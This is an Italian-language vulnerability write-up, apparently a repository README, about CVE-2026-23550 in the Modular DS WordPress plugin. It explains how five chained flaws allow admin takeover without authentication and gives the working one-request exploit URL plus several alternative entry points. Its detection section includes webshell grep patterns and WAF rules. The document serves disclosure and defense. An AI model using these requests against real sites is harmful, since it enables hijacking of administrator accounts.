██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

📌 In Breve

Modular DS (modular-connector) è un plugin per la gestione di siti WordPress con oltre 40.000 installazioni attive. Le versioni ≤ 2.5.1 contengono una catena di cinque difetti che consentono a qualsiasi attaccante non autenticato di bypassare l'autenticazione, invocare l'endpoint di login interno del plugin e ricevere un cookie di sessione wordpress_logged_in_* per il primo account amministratore — con una singola richiesta HTTP GET.

GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: vittima.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Risultato: acquisizione completa dell'amministratore. L'attaccante può installare plugin malevoli, inserire webshell, creare account admin di backup, esfiltrare il database.

📖 Indice

• Versioni Affette
• Superficie d'Attacco
• Analisi della Causa Radice
• Analisi del Codice Sorgente
• Diff della Patch (2.5.1 → 2.5.2)
• Proof of Concept
• Rilevamento e Rimedio
• Cronologia
• Riferimenti
• Disclaimer

🎯 Versioni Affette

🎯 Superficie d'Attacco

La vulnerabilità attiva un router personalizzato derivato da Laravel incorporato nel plugin. Il plugin fornisce il proprio kernel HTTP (Ares/Framework) che si aggancia all'azione parse_request di WordPress per intercettare le richieste prima che il routing nativo di WordPress subentri.

Prerequisiti: nessuno (plugin installato e attivo, connesso a Modular SaaS — predefinito per tutte le installazioni live).

Punti d'ingresso (uno qualsiasi è sufficiente):

/api/modular-connector/login/<qualsiasi>?origin=mo&type=<qualsiasi>
/?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/index.php?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/wp-load.php?origin=mo&type=<qualsiasi>

🚩 Analisi della Causa Radice

La vulnerabilità non è un singolo difetto — è una catena di cinque difetti che si combinano. Ogni livello, visto isolatamente, può sembrare difendibile; combinati, collassano in un'acquisizione dell'admin pre-autenticazione.

flowchart TB
    A["🌐 Richiesta Attaccante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Il cancello si apre solo con parametri query"]
    B --> C["② Router::findRoute()<br/>URL risolto implicitamente alla rotta /login"]
    C --> D["③ filtro bindOldRoutes()<br/>Cade attraverso per tipo sconosciuto"]
    D --> E["④ ModularGuard::check()<br/>Valida OAuth lato server, NON la richiesta"]
    E --> F["⑤ AuthController::getLogin()<br/>Ripiega sul primo utente admin"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaccante = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Riepilogo Difetti

🔬 Analisi del Codice Sorgente

public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ solo param query, nessuna firma
    }
    return false;
}

protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL risolto in rotta PRIMA che il filtro venga eseguito
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* riassocia tramite chiamata OAuth firmata */ }
    if ($type === 'oauth')   { /* riassocia al gestore /oauth */ }
    if ($type === 'lb')      { /* riassocia a /schedule/run */ }

    return $route;   // ⚠️ Tipo sconosciuto → la rotta dall'URL rimane invariata
}

public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ verifica lo stato del SERVER
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — binding mai popolato

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 primo admin del sito
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 emette cookie di sessione WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

🩹 Diff della Patch (2.5.1 → 2.5.2)

━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 sempre partire da una rotta 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Filosofia della Patch

La correzione rimuove completamente la risoluzione implicita URL→rotta. Il filtro ora inizia con una rotta default cablata per restituire abort(404) e si riassocia a un controller reale solo quando type è uno dei tre valori esplicitamente autorizzati. Con la nuova logica, type=x produce un 404 — la richiesta non raggiunge mai il controller di login, e non c'è nulla contro cui la guardia rotta possa fallire in modo aperto.

Questa è difesa in profondità applicata retroattivamente: anche se ModularGuard::check() rimane strutturalmente debole, la catena di raggiungibilità è ora chiusa per le rotte protette da autenticazione.

🛠️ Proof of Concept

🛡️ Rilevamento e Rimedio

Immediato

• Aggiornare a modular-connector >= 2.5.2 — non negoziabile.
• Se l'aggiornamento è bloccato, disattivare completamente il plugin. Non esiste soluzione alternativa di configurazione.

Valutazione Compromissione

Dopo l'aggiornamento, presupporre una compromissione se il plugin era ≤ 2.5.1 e accessibile da internet dopo il 2026-01-13. Verificare:

# 1. Account amministratore non autorizzati
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Installazioni sospette di plugin dopo il 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. File core modificati di recente
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webshell (payload comuni rilasciati post-exploit)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Firme Web-server (log Apache / Nginx)

GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Regola WAF / ModSecurity (mitigazione temporanea)

SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 tentativo di exploit (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 tentativo di bypass richiesta diretta'"
  SecRule ARGS:type "@rx .+"

📅 Cronologia

📚 Riferimenti

• Avviso Patchstack
• The Hacker News — Critical WordPress Modular DS
• BleepingComputer — Report Sfruttamento Attivo
• Security Affairs — Analisi Acquisizione Admin
• eSecurity Planet — 40K Installazioni a Rischio
• Rescana — Note di Risposta agli Incidenti
• Repository Plugin WordPress — modular-connector

👤 Autore

⚖️ Disclaimer

Questo repository è pubblicato strettamente a fini educativi e di ricerca difensiva.

La vulnerabilità è divulgata pubblicamente (CVE-2026-23550), corretta dal venditore (modular-connector 2.5.2) e dettagliata nella stampa di sicurezza mainstream. Questo articolo esiste per aiutare i difensori a comprendere la causa radice, gli sviluppatori a imparare da un fallimento reale nella progettazione dell'autenticazione e i ricercatori a studiare uno schema di difetti concatenati.

Non eseguire gli script PoC inclusi contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale in praticamente ogni giurisdizione (CFAA · Computer Misuse Act · ITE Law · etc.).

L'autore non si assume alcuna responsabilità per uso improprio. Se non sei sicuro che il tuo caso d'uso sia autorizzato, non lo è.